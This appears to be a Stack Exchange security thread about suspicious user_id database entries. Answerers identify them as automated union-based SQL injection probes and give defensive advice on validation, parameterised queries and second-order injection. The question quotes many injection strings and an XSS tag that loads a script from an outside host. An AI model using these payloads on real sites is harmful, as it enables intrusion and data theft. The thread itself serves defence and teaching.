70

I was looking through some data in our database when I came across a bunch of weird user_id entries:

user_id
-1080) ORDER BY 1#
-1149 UNION ALL SELECT 79,79,79,79,79,79,79,79,79#
-1359' UNION ALL SELECT 79,79,79,79,79,79,79,79,79,79-- JwSh
-1409' ORDER BY 2678#
-1480' UNION ALL SELECT 79,79,79#
-1675 UNION ALL SELECT 79,79,79#
-1760 UNION ALL SELECT 79,79,79,79,79,79,79-- znFh
-1817 UNION ALL SELECT 79,79,79,79,79,79#
-1841 UNION ALL SELECT 79,79,79,79,79,79,79,79,79-- WiHF
-2265) UNION ALL SELECT 79,79,79,79,79,79#
-2365 UNION ALL SELECT 79,79,79,79,79,79,79#
-2387%' UNION ALL SELECT 79,79,79,79,79-- PHug
-2535') UNION ALL SELECT 79,79,79,79,79,79#
-2670%' ORDER BY 1#
-2847 ORDER BY 2974-- vCjk
-2922%' UNION ALL SELECT 79,79,79-- PgNW
-3097%' UNION ALL SELECT 79,79,79,79,79,79,79-- vJzG
-3675 UNION ALL SELECT 79,79,79#

It doesn't seem like anything malicious is being attempted, so part of me thinks this might have been caused by some sort of bug, but then again it is rather suspicious to see SQL inside data entries.

What could it be trying to do?

Here are a few more examples I found which may be interesting:

"><script src=http://xs7x.win/yRjYja></script>JSON #36*
"><script src=http://xs7x.win/yRjYja></script>JSON #98*
(SELECT CONCAT(0x717a627071,(SELECT (ELT(2849=2849,1))),0x716b627871))
Peter Mortensen
  • 877
  • 5
  • 10
turnip
  • 785
  • 1
  • 6
  • 9
  • 10
    By definition, it is a SQL injection. The `user_id`, I assume, should hold an integer value, but it doesn't. Something has injected some data into a query that shouldn't be there since it's holding a string, not integer now. – hd. Sep 29 '17 at 13:24
  • 13
    Don't think that's a valid assumption - it's quite common for user_id columns to hold GUIDs or even what people might normally assume to be usernames. Not enough context to state definitely here. – Matthew Sep 29 '17 at 14:24
  • 1
    @Matthew you are correct, it stores a GUID. You can see that the first 5 characters on each line are the last part of a GUID. – turnip Sep 29 '17 at 14:39
  • @Petar I don't know how these should be part of a GUID. – glglgl Sep 29 '17 at 15:27
  • @glglgl You know, my brain must've switched off when I typed that. The ids are GUIDs but you are right that the pattern doesn't match. – turnip Sep 29 '17 at 16:44
  • 13
    If it's supposed to be a GUID, why are you storing them as strings? PostgreSQL has the dedicated [UUID type](https://www.postgresql.org/docs/current/static/datatype-uuid.html). Also, why isn't your app rejecting anything not in a well known GUID/UUID format? Seems like you have at least bugs in the validation code that accepts incoming data. – jpmc26 Sep 29 '17 at 22:28
  • 6
    It is an _attempt_ to perform an SQL injection. You have some website where I can enter a username and password, and someone entered these weird usernames to try to perform an SQL injection. Apparently your website is not vulnerable, so it recorded these weird usernames as legitimate usernames. Which is from your application's point of view absolutely fine. If I registered with the username "-1080) ORDER BY 1#" then this will work just fine on your site. – gnasher729 Sep 30 '17 at 23:35
  • 1
    You're in bad shape right now. You have attack strings sitting in a field that was supposed to be validated -- all it takes is one select query to forget that it's supposed to escape the guid and you're toast. The select query that breaks might not even be written until the future. – djechlin Oct 01 '17 at 13:48
  • 1
    @djechlin, if the OP is doing the reasonably-intelligent thing and using a database layer that always uses bind variables to pass data out-of-band from queries without string concatenation (and thus any *need* for escaping), the concern is utterly moot. – Charles Duffy Oct 01 '17 at 15:34
  • 2
    Any ideas what the random letters as comments (eg, `-- vJzG`) are about? – Steve Bennett Oct 02 '17 at 01:03
  • @SteveBennett The attacker was using some kind of automated SQLi tool (most likely SQLmap), and it tries to find proper injection points with comments like the one you see. –  Oct 02 '17 at 16:13
  • Sorry, I still don't get how that works? What's the benefit of the random characters? – Steve Bennett Oct 03 '17 at 21:49

3 Answers3

82

This is the result of someone trying to exploit an SQL injection on your site. Someone tried to detect if your website was vulnerable to a union-based injection. For all the records that you see, it doesn't seem to have worked.

You should check your access and error-logs for the affected timespan to see if any further requests were made.

One suspicious thing I noticed is that I don't see any entries containing double quotation marks (") which might indicate that they broke the functionality of the site or an injection using double quotation marks worked against your site.

You might want to check the relevant source code to see if proper sanitization of parameter values was done. This could also be explained if some other part of your setup blocked requests with double-quotation marks or injections with them were just not attempted.

Peter Mortensen
  • 877
  • 5
  • 10
Denis
  • 3,653
  • 2
  • 17
  • 16
  • How would this attack have worked when directed against an insert or an update statement? I get trying to inject an order by clause or a union into a select statement, but the outcome does not seem to be meaningful for a insert. I suppose union might cause noticable timing differences for an update. – Taemyr Sep 30 '17 at 07:20
  • 2
    I imagine that if the attack worked, it would insert the union values in place of actual fields. Those fields can later be exposed in various ways (e.g. you might use a username as part of an url for a profile picture, or you may throw an error "Unknown role 79". The attacker, knowing that this is a possibility can then alter the query to expose critical information through that field (e.g. the password hash of the first user, or attempt semi-blind guessing of the password of the database user.) They might not even require anything sensible to happen if they can upload a file through sql. – Sumurai8 Sep 30 '17 at 09:00
  • 1
    See my answer about such scenarios. They exist, I have seen them! – mvds Sep 30 '17 at 16:43
  • Double quotes not existing is probably simply because double quotes are only used for identifiers, if anything. It wouldn't make sense to use them in SQL injection. – Kat Oct 03 '17 at 19:38
42

Have a look at "Union Injection" SQL attacks such as found here.

Basically, it's trying various methods to identify the number of columns in the query, looking for one which is successful. The order by lines attempt to detect the difference between data ordered by specific columns and an error caused by attempting to order by a non-existent column, while the select ones are trying to get a valid UNION command to work - this only works when the two queries being combined in a union have the same number of columns.

From the random letters at the end of some of the lines, it's likely to be someone running the sqlmap tool against your form, but the fact that you found them in your database is a good thing - it suggests that the attempt failed, although it's possible that these are just failed parts of a successful attack.

Matthew
  • 27,233
  • 7
  • 87
  • 101
  • Except that this is either an update or an insert statement, not a select. We know because we find the user_id entries in our database. (Of course its not a given that the attacker knows this - he might just be pusing the data into a convenient field on the form) – Taemyr Sep 30 '17 at 07:17
  • 5
    Sometimes an attacker doesn't realise there are multiple side-effects of a particular entry point. e.g. they may inject into a search box, expecting it only affects the results they receive, but if the results are logged somewhere, then they may accidentally break the 'INSERT' clause as well. And potentially cause an error when an admin loads the 'logs' page (also a very powerful avenue of attack) – JeffUK Oct 02 '17 at 13:30
  • Great answer! I would add though, that *if* the user ID is supposed to be numeric, then the fact that you can insert strings is not good. Not dangerous per se, but a bit sloppy. Also, should users really be able to pick their own ID? And if this is not in the user table, shouldn't there be a foreign key contstraing limiting values to existing users? – Anders Oct 03 '17 at 07:30
31

In addition to the good answers already given, stating that these are probably signs of unsuccessful attempts, I would like to add that these user ids may be part of a more elaborate successful injection.

This is not purely theoretical. I have encountered situations where the results of one select query are used without proper input validation in a second query. The developer might only validate direct user input and (wrongly) assume that anything coming from the database is safe. So up until storing these user id values, nothing is wrong, but in subsequent queries the magic happens. Especially dangerous are integer fields turning into strings, as integers are often used without escaping or quotes.

Side note: it is very effective to log/notify each and every failing query, as it is almost impossible to do an injection on an unknown system without triggering at least some errors. Apart from this, no query should ever fail (as in: syntax error) in a production system.

mvds
  • 411
  • 3
  • 2
  • 7
    Lacking "proper input invalidation" on content read back from the database is not enough to get one into this kind of trouble -- one *also* needs to be ignoring the cardinal rule to never, **never** generate SQL queries through string concatenation. – Charles Duffy Oct 01 '17 at 15:12
  • 1
    @CharlesDuffy Isn't it allowed to generate parameterized queries through string concatenation? How would you generate a parameterized SQL query with an `IN` clause with varying number of valid values then? – Alexander Oct 02 '17 at 01:13
  • @Alexander If they're all constants, that's OK. However, if there's a variable anywhere then _**no**_. A query of 5000003 characters is probably a bad idea. – wizzwizz4 Oct 02 '17 at 07:07
  • 9
    I don't see the point of having this discussion here. But I would like to emphasize that no "cardinal SQL rule" will always save you if you trust content coming from a database. The world is bigger than SQL: the content may be used in various other (non-parameterized) contexts, each with their own quoting/escaping requirements. The primary rule should be to **not trust content coming from the database, and treat it like user input**. – mvds Oct 02 '17 at 07:55
  • 2
    This is good advice, multi-step attacks are more vicious but few people consider them. – Christophe Roussy Oct 02 '17 at 09:07